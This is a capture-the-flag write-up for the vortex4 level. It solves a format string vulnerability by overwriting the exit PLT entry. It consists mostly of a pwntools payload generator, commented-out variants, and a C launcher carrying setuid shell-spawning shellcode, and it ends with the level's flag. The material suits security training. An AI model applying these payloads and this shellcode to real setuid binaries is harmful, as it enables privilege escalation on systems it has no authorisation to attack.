← Back
vortex4 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

In this challenge, we had a format string attack.

image

Here, we needed to manipulate the stack to find where our stored memory is. We used $ inside format strings to navigate through the stack.

I wrote a simple solution, as shown above, that writes each byte to the memory of the exit_plt_address.

The exit_plt_address is 0x804c008, and the next addresses are: 0x804c009, 0x804c00a, 0x804c00b, which all contain characters, causing the print to stop when using Python.

image

So, we needed to insert 3 bytes into the first address and 1 byte into the fourth address. This results in a long string being printed.

I wrote this C code to run /vortex/vortex4 with the payload (level4.c).

#!/usr/bin/python3
from pwn import *
import sys


address_of_exit = 0x804c008
# address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c

payload = p32(address_of_exit) + p32(address_of_exit+3) + b'E'
# payload = b'AAAA' + b'BBBB' + b'E'
location = 121

printed_chars = len(payload)

# very special
shift = 0
bytes_to_insert = (address_of_shellcode >> shift) & 0xffffff
res = bytes_to_insert - printed_chars
if res <= 4:
    while res <= 4:
        res += 0x1000000
payload += b'%' + f"{res:010}".encode() + b'p'
payload += f'%{location}$n'.encode()
location += 1

printed_chars += res
    
# regular
shift = 24
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
    while res <= 4:
        res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$n'.encode()
location += 1


sys.stdout.buffer.write(payload)



# for semi regular address it will work, however, we'll need to go on the address 0x804c00a, which gives us '\x0a', newline that screws everything up. yay :(
'''
address_of_exit = 0x804c008
# address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c

payload = p32(address_of_exit) + p32(address_of_exit+1) + p32(address_of_exit+4)
# payload = b'AAAA' + b'BBBB' + b'DDDD' + b'EEE'
location = 122

printed_chars = len(payload)

# regular
shift = 0
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
    while res <= 4:
        res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1

# special
shift = 8
bytes_to_insert = (address_of_shellcode >> shift) & 0xffff
res = bytes_to_insert - printed_chars
if res <= 4:
    while res <= 4:
        res += 0x10000
payload += b'%' + f"{res:05}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1

# regular
shift = 24
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
    while res <= 4:
        res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1

printed_chars += res
    

sys.stdout.buffer.write(payload)
'''




# for regular address it will work, however, we'll need to go on the address 0x804c00a, which gives us '\x0a', newline that screws everything up. yay :(
'''

# address_of_exit = 0x804c008
address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c

payload = p32(address_of_exit) + p32(address_of_exit+1) + p32(address_of_exit+2) + p32(address_of_exit+3) + b'EE'
# payload = b'AAAA' + b'BBBB' + b'CCCC' + b'DDDD' + b'EE'
location = 123

printed_chars = len(payload)
for shift in range(0, 32, 8):
    byte_to_insert = (address_of_shellcode >> shift) & 0xff
    res = byte_to_insert - printed_chars
    if res <= 4:
        while res <= 4:
            res += 0x100
    payload += b'%' + f"{res:03}".encode() + b'p'
    payload += f'%{location}$n'.encode()
    location += 1

    printed_chars += res
    

sys.stdout.buffer.write(payload)
'''

. You need to adjust the address_of_exit and address_of_shellcode, debug, and find them.

image image

Flag: heo3EbnS9

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PATH "/vortex/vortex4"

// Shellcode to spawn a shell
#define SHELLCODE "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x89\xd9\x6a\x46\x58\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x01\x58\xcd\x80"

#define PAYLOAD "\x08\xc0\x04\x08\x09\xc0\x04\x08\x0a\xc0\x04\x08\x0b\xc0\x04\x08\x45\x45\x25\x31\x33\x38\x70\x25\x31\x32\x33\x24\x6e\x25\x30\x36\x37\x70\x25\x31\x32\x34\x24\x6e\x25\x30\x33\x32\x70\x25\x31\x32\x35\x24\x6e\x25\x32\x35\x36\x70\x25\x31\x32\x36\x24\x6e"

int main(int argc, char* argv[]) {
    char *args[] = {NULL};
    char *envp[] = {"", PAYLOAD, SHELLCODE, NULL};

    // Execute the vulnerable program
    execve(PATH, args, envp);

    // If execve fails, print an error message
    perror("execve");
    return 1;
}

and just provide the payload inside, the regular payload will work.

image